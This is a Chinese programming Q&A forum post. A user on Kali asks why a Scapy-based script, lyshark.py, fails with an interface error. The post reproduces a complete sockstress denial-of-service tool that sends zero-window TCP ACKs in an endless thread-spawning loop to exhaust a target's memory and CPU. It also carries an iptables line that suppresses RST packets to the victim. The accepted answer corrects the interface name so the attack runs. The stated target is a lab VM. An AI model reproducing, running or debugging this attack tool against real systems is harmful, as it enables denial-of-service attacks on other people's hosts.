二哈它爸 2022-12-08 14:48 采纳率: 62.5%
浏览 26
已结题

kali运行lyshark.py文件报错OSError: [Errno 19] No such device

kali运行lyshark.py文件报错
报错信息如下
Exception ignored in: <function SuperSocket.__del__ at 0x7f3e37e9f4c0>
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/scapy/supersocket.py", line 134, in __del__
    self.close()
  File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 514, in close
    set_promisc(self.ins, self.iface, 0)
  File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 165, in set_promisc
    mreq = struct.pack("IHH8s", get_if_index(iff), PACKET_MR_PROMISC, 0, b"")
  File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 380, in get_if_index
    return int(struct.unpack("I", get_if(iff, SIOCGIFINDEX)[16:20])[0])
  File "/usr/lib/python3/dist-packages/scapy/arch/common.py", line 59, in get_if
    ifreq = ioctl(sck, cmd, struct.pack("16s16x", iff.encode("utf8")))
OSError: [Errno 19] No such device
Traceback (most recent call last):
  File "lyshark.py", line 43, in <module>
    t.start()
  File "/usr/lib/python3.8/threading.py", line 852, in start
    _start_new_thread(self._bootstrap, ())
RuntimeError: can't start new thread

下面是运行代码
# -*- coding: utf-8 -*- 
    
#iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 受害IP -j DROP
from optparse import OptionParser
import socket,sys,random,threading
from scapy.all import *

scapy.config.conf.iface = 'ens32'

# 攻击目标主机的Window窗口,实现目标主机内存CPU等消耗殆尽
def sockstress(target,dstport):
    semaphore.acquire()       # 加锁
    isport = random.randint(0,65535)  #随机选择受害主机的一个端口
    response = sr1(IP(dst=target)/TCP(sport=isport,dport=dstport,flags="S"),timeout=1,verbose=0)  #发送三层包
    send(IP(dst=target)/ TCP(dport=dstport,sport=isport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0)

    print("[+] sendp --> {} {}".format(target,isport))
    semaphore.release()       # 释放锁

def Banner():
    print("  _          ____  _                _    ")
    print(" | |   _   _/ ___|| |__   __ _ _ __| | __")
    print(" | |  | | | \___ \| '_ \ / _` | '__| |/ /")
    print(" | |__| |_| |___) | | | | (_| | |  |   < ")
    print(" |_____\__, |____/|_| |_|\__,_|_|  |_|\_\\")
    print("       |___/                             \n")
    print("E-Mail: me@lyshark.com\n")

if __name__ == "__main__":
    Banner()
    parser = OptionParser()
    parser.add_option("-H","--host",dest="host",type="string",help="输入被攻击主机IP地址")
    parser.add_option("-p","--port",dest="port",type="int",help="输入被攻击主机端口")
    parser.add_option("--type",dest="types",type="string",help="指定攻击的载荷 (synflood/sockstress)")
    parser.add_option("-t","--thread",dest="thread",type="int",help="指定攻击并发线程数")
    (options,args) = parser.parse_args()

    # 使用方式: main.py --type=sockstress -H 192.168.1.1 -p 80 -t 10
    if options.types == "sockstress" and options.host and options.port and options.thread:
        semaphore = threading.Semaphore(options.thread)
        while True:
            t = threading.Thread(target=sockstress,args=(options.host,options.port))
            t.start()
    else:
        parser.print_help()






kali是192.168.56.20 ,受害主机是win7,ip为192.168.56.10,能ping通
运行代码就报错“找不到设备“,希望各位朋友帮忙看一下
  • 写回答

2条回答 默认 最新

  • 二哈它爸 2022-12-08 22:16
    关注

    我的代码问题在于:scapy.config.conf.iface = 'ens32',将这行代码改成scapy.config.conf.iface = 'eth0'即可

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(1条)

报告相同问题?

问题事件

  • 系统已结题 12月16日
  • 已采纳回答 12月8日
  • 创建了问题 12月8日

悬赏问题

  • ¥15 微信公众平台自制会员卡可以通过收款码收款码收款进行自动积分吗
  • ¥15 随身WiFi网络灯亮但是没有网络,如何解决?
  • ¥15 gdf格式的脑电数据如何处理matlab
  • ¥20 重新写的代码替换了之后运行hbuliderx就这样了
  • ¥100 监控抖音用户作品更新可以微信公众号提醒
  • ¥15 UE5 如何可以不渲染HDRIBackdrop背景
  • ¥70 2048小游戏毕设项目
  • ¥20 mysql架构,按照姓名分表
  • ¥15 MATLAB实现区间[a,b]上的Gauss-Legendre积分
  • ¥15 delphi webbrowser组件网页下拉菜单自动选择问题